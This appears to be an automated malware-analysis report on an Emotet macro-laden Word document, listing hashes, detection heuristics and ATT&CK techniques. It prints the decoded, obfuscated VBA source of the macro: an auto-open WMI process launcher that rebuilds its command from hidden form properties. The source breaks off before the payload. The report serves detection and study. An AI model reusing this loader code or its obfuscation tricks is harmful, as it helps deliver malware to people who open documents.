Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 1ef5c1b7a68f7241…

MALICIOUS

Office (OLE)

229.2 KB Created: 2020-08-13 09:44:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 0bf5a96cbda02d28b6a29ca44e25634a SHA-1: 6e3ee32cfb21d1703379f76b7af6856f54c8a9fd SHA-256: 1ef5c1b7a68f7241097e40920f2b68d84457829edde96034073b68decbd72cb9
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet. The presence of a CreateObject call and the ClamAV detection further support this classification. The macro appears to be designed to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9311756-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9311756-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4273 bytes
SHA-256: 080fe23161544ffb3cd2d7635d3494745810d6a200ac8db9880689e1ab43130c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "SKQNOjrszvwx"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
IVINSwbldmzzur.FVARLbgauihoo
End Sub


Attribute VB_Name = "IVINSwbldmzzur"
Attribute VB_Base = "0{DA6FD05B-2044-4D71-96C2-17C654ECF9DD}{84DD1444-B1D0-4AC3-ACB9-582D9C9B18B9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function FVARLbgauihoo()
SZWWQidmmdhyqt = IVINSwbldmzzur.Zoom
Dim EWtaT3ÄEfeU As Integer
EWtaT3ÄEfeU = 9
Do While EWtaT3ÄEfeU < 9 + 4
EWtaT3ÄEfeU = EWtaT3ÄEfeU + 6: DoEvents
Loop
KOMFRfhwqxupda = ChrW(SZWWQidmmdhyqt + (100 + 35) / 9)
Dim WHEWC0ÅGtsV As String
WHEWC0ÅGtsV = Trim$("NZtncF7Ç")
HLCNXujxbljw = "832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671w832[sahj hui12t7gGG7&^6272 gasg671i832[sahj hui12t7gGG7&^6272 gasg671nm832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671gm832[sahj hui12t7gGG7&^6272 gasg671t832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671" + KOMFRfhwqxupda + "832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671:832[sahj hui12t7gGG7&^6272 gasg671w832[sahj hui12t7gGG7&^6272 gasg671in832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg6713832[sahj hui12t7gGG7&^6272 gasg6712832[sahj hui12t7gGG7&^6272 gasg671_832[sahj hui12t7gGG7&^6272 gasg671" + IVINSwbldmzzur.EECXIuwrmcgorkhobu + "832[sahj hui12t7gGG7&^6272 gasg671ro832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671ce832[sahj hui12t7gGG7&^6272 gasg671s832[sahj hui12t7gGG7&^6272 gasg671s832[sahj hui12t7gGG7&^6272 gasg671"
Dim Xw3Î8ÍKy1Ñw As Byte
YPKLIshyleshstc = CSUKAxkzsdgziibctl(HLCNXujxbljw)
Dim KUm3Y4Áw0ÔA As Integer
KUm3Y4Áw0ÔA = 4
Do While KUm3Y4Áw0ÔA < 4 + 8
KUm3Y4Áw0ÔA = KUm3Y4Áw0ÔA + 8: DoEvents
Loop
Set EQVCGryjtcsuzrl = CreateObject(YPKLIshyleshstc)
Dim QXD As String
QXD = Trim$("DHBnPjfiN")
EKJFKhkeglxgw = IVINSwbldmzzur.VSYTQsqfdubqcwdttfn.ControlTipText
Dim m1ÝkpiV8ÔN As Variant
JLEQHvdymhdcotijx = FOCHQbnkcjajgpdb + (YPKLIshyleshstc + KOMFRfhwqxupda + IVINSwbldmzzur.AUONPstzwqdfmnddh.ControlTipText + EKJFKhkeglxgw)
Dim gs2ËgnTcKiQ As String
AYFDAjvpfrbynogijr = JLEQHvdymhdcotijx + IVINSwbldmzzur.EECXIuwrmcgorkhobu
Dim N0ÚPb8Ì As Double
Set JNZJNnqfpznirfxxq = RDPAKdcoqxiytnkapel(AYFDAjvpfrbynogijr)
Dim GqCGSFodc As String
GqCGSFodc = Trim$("Mv1Ýf8ÈoY4Ý")
RZINUdnxxwbvr = Array(TYAIJvoozfour + "MIVFRftjwbkk KTEMOldglghugrdz ZZMLKobvdllk", EQVCGryjtcsuzrl. _
Create(CMBXAcantjrhfjfj, YYYFDuvtzjnv, JNZJNnqfpznirfxxq), COLLOqktckye + "EDQKZrwjhiva IEJAQypjmmjsxvai")
Dim ZWpUHiEAD As String
ZWpUHiEAD = Trim$("VabiuX")
End Function
Function RDPAKdcoqxiytnkapel(CTNHFksaxhmpagietbs)
Set RDPAKdcoqxiytnkapel = CreateObject(CTNHFksaxhmpagietbs)
Dim yllcsJLnKV As Integer
yllcsJLnKV = 9
Do While yllcsJLnKV < 9 + 5
yllcsJLnKV = yllcsJLnKV + 1: DoEvents
Loop
RDPAKdcoqxiytnkapel. _
showwindow = OABCPrcokwyrvfpkah + JCUZOqsqgsbvw
Dim a4Õg As Object
End Function
Function CSUKAxkzsdgziibctl(PGVMKszzdncd)
EVPKFtiuvinfbxssf = PGVMKszzdncd
Dim nGcyUDpZ As Byte
VALBRilsynefgo = Split _
(EVPKFtiuvinfbxssf, "832[sahj hui12t7gGG7&^6272 gasg671")
Dim EA4ØDwC5ÔrtA As Double
UOOUDurtmlytdyv = LUVZLtmhlfbr + Join(VALBRilsynefgo, RHUIXouyutanmxavw)
Dim C7ÜYg As String
C7ÜYg = Trim$("nCtJBfnGcy")
CSUKAxkzsdgziibctl = UOOUDurtmlytdyv
Dim kFPSyh As Object
End Function
Function CMBXAcantjrhfjfj()
Dim ctRwWF As String
ctRwWF = Trim$("dJSt4Äf")
Dim Hd2EFS7Ë2Àe As String
Hd2EFS7Ë2Àe = Trim$("X8åCfRdv")
Dim gbdGcnr As String
gbdGcnr = Trim$("kYI")
IUDDTruivpgsdfac = IVINSwbldmzzur.CKNZTqxwkwrvrtfqxbj.Pages(vbOK).Tag
Dim AhGo2ÒY3Õbo As String
AhGo2ÒY3Õbo = Trim$("yo3ÊdOZdWK")
CMBXAcantjrhfjfj = CSUKAxkzsdgziibctl(IUDDTr
... (truncated)

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